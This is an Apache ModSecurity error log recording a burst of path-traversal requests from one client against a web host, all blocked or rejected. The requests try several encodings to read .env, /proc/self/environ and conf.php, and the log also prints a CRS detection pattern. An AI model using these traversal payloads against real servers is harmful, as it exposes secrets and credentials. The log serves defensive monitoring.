[Mon Oct 26 14:54:36.488079 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at-h7JSRnBaU6BmTUZTvHgAAABU"]
[Mon Oct 26 14:54:36.495197 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at-h7HNsi4cqo2ItOKeAiAAAAAM"]
[Mon Oct 26 14:54:36.520281 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at-h7HNsi4cqo2ItOKeAiAAAAAM"]
[Mon Oct 26 14:54:36.533498 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at-h7HNsi4cqo2ItOKeAiAAAAAM"]
[Mon Oct 26 14:54:36.533897 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at-h7HNsi4cqo2ItOKeAiAAAAAM"]
[Mon Oct 26 14:54:36.525647 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at-h7HF4upCyqcRvyT6-nAAAAB8"]
[Mon Oct 26 14:54:36.540038 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at-h7HF4upCyqcRvyT6-nAAAAB8"]
[Mon Oct 26 14:54:36.540314 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at-h7HF4upCyqcRvyT6-nAAAAB8"]
[Mon Oct 26 14:54:36.597450 2026] [core:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33318] AH10244: invalid URI path (/%2e%2e/.env)
[Mon Oct 26 14:54:36.599714 2026] [core:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Mon Oct 26 14:54:36.615670 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at-h7LJoBe2aZMAtY1nESwAAAA8"]
[Mon Oct 26 14:54:36.615725 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at-h7LJoBe2aZMAtY1nESwAAAA8"]
[Mon Oct 26 14:54:36.615908 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at-h7LJoBe2aZMAtY1nESwAAAA8"]
[Mon Oct 26 14:54:36.616158 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at-h7LJoBe2aZMAtY1nESwAAAA8"]
[Mon Oct 26 14:54:36.622746 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at-h7B7tVIm23knyHD7xhgAAAAI"]
[Mon Oct 26 14:54:36.622814 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at-h7B7tVIm23knyHD7xhgAAAAI"]
[Mon Oct 26 14:54:36.622953 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at-h7B7tVIm23knyHD7xhgAAAAI"]
[Mon Oct 26 14:54:36.623199 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at-h7B7tVIm23knyHD7xhgAAAAI"]
[Mon Oct 26 14:54:36.646604 2026] [security2:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at-h7MqMTqJfrv8kORnBzwAAACw"]
[Mon Oct 26 14:54:36.646703 2026] [security2:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at-h7MqMTqJfrv8kORnBzwAAACw"]
[Mon Oct 26 14:54:36.651710 2026] [security2:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at-h7MqMTqJfrv8kORnBzwAAACw"]
[Mon Oct 26 14:54:36.861071 2026] [security2:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at-h7MqMTqJfrv8kORnBzwAAACw"]
[Mon Oct 26 14:54:37.097520 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.097593 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.097625 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.102053 2026] [security2:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at-h7MqMTqJfrv8kORnBzwAAACw"]
[Mon Oct 26 14:54:37.105448 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.123608 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at-h7ZSRnBaU6BmTUZTvIAAAABU"]
[Mon Oct 26 14:54:37.123708 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at-h7ZSRnBaU6BmTUZTvIAAAABU"]
[Mon Oct 26 14:54:37.139568 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at-h7ZSRnBaU6BmTUZTvIAAAABU"]
[Mon Oct 26 14:54:37.139956 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at-h7ZSRnBaU6BmTUZTvIAAAABU"]
[Mon Oct 26 14:54:37.163895 2026] [core:error] [pid 3065806:tid 3065806] [client 34.39.215.232:33300] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Mon Oct 26 14:54:37.165130 2026] [core:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33372] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Mon Oct 26 14:54:37.166210 2026] [core:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] AH10244: invalid URI path (/appearance/../../.env)
[Mon Oct 26 14:54:37.167301 2026] [core:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] AH10244: invalid URI path (/appearance/../../proc/self/environ)
[Mon Oct 26 14:54:37.212914 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.212995 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.213028 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.213077 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.213209 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
